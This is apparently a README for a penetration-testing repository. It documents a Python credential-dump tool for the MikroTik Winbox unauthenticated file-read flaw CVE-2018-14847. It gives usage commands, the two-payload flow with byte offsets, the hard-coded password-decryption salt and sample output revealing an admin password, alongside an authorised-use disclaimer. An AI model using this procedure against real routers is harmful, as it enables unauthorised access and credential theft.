用于网络审计和渗透测试的脚本仓库。 请仅在获得正式授权的设备上使用。
利用 MikroTik RouterOS Winbox 服务中的未经身份验证的文件读取漏洞。文件处理程序(处理程序 ID 2)未验证身份,允许外部攻击者读取包含设备所有用户和密码的 user.dat 文件。
密码使用 XOR 加密存储,密钥为 MD5(usuario + "283i4jfkai3389")。该脚本会自动完成解密。
| 分支 | 受影响至 | 修复版本 |
|---|---|---|
| Stable | 6.42 | 6.42.1 |
| Long-term | 6.40.7 | 6.40.8 |
| RC | 6.42 | 6.43 |
python3 cve_2018_14847.py <IP>
python3 cve_2018_14847.py <IP> --port 8291
# 默认目标端口 8291
python3 cve_2018_14847.py 192.168.1.1
# 自定义端口
python3 cve_2018_14847.py 192.168.1.1 --port 8291
1. 连接到 8291 端口 (Winbox)
↓
2. 发送 FIRST_PAYLOAD — 打开会话 + 请求 /flash/rw/store/user.dat
↓
3. 从响应的第 38 字节提取 Session ID
↓
4. 将 Session ID 注入 SECOND_PAYLOAD 的第 19 字节
↓
5. 发送 SECOND_PAYLOAD — 读取 user.dat 文件
↓
6. 解析 M2 条目 → 提取用户和加密密码
↓
7. 解密密码:XOR 与 MD5(usuario + salt)
↓
8. 显示凭据并保存到文件
═══════════════════════════════════════════════════════
CVE-2018-14847 — MikroTik Winbox Credential Dump
Unauthenticated File Read + Password Decryption
受影响版本: RouterOS 6.29 – 6.42 (< 6.40.8 / 6.42.1)
═══════════════════════════════════════════════════════
目标 : 192.168.1.1:8291
日期 : 2026-05-20 18:06:58
[*] 正在连接 192.168.1.1:8291 ...
[+] 已连接到 Winbox 服务。
[*] 发送 payload 1(文件请求)...
[+] 收到响应 (84 字节). Session ID: 0x35
[*] 发送 payload 2(读取 user.dat)...
[+] 收到数据 (312 字节).
[*] 正在分析 user.dat (257 字节有效数据) ...
═══════════════════════════════════════════════════════
提取的凭据
═══════════════════════════════════════════════════════
用户 : admin
密码 : senha123
组合 : admin:senha123
───────────────────────────────────────────────────────
[+] 找到 1 个凭据。
[+] 结果已保存至: mikrotik_1192.168.1.1_20260520_180658.txt
结果自动保存至:
mikrotik_<IP>_<TIMESTAMP>.txt
示例: mikrotik_192.168.1.1_20260520_180658.txt
包含:目标IP、日期、CVE、受影响版本以及所有 用户:密码 对。
/rede/
├── README.md # 本文件
├── cve_2018_14847.py # MikroTik Winbox Credential Extractor
├── pentest_cgnat_100.64.0.0.md # CGNAT 渗透测试报告
├── pentest_roteador_192.168.2.1.md # 路由器渗透测试报告
└── mikrotik_<IP>_<TIMESTAMP>.txt # 脚本生成的结果
法律声明: 这些工具仅限在授权环境中使用。未经授权对第三方系统执行属于犯罪行为,依据巴西第12.737/2012号法律(卡罗琳娜·迪克曼法)和巴西刑法第154-A条。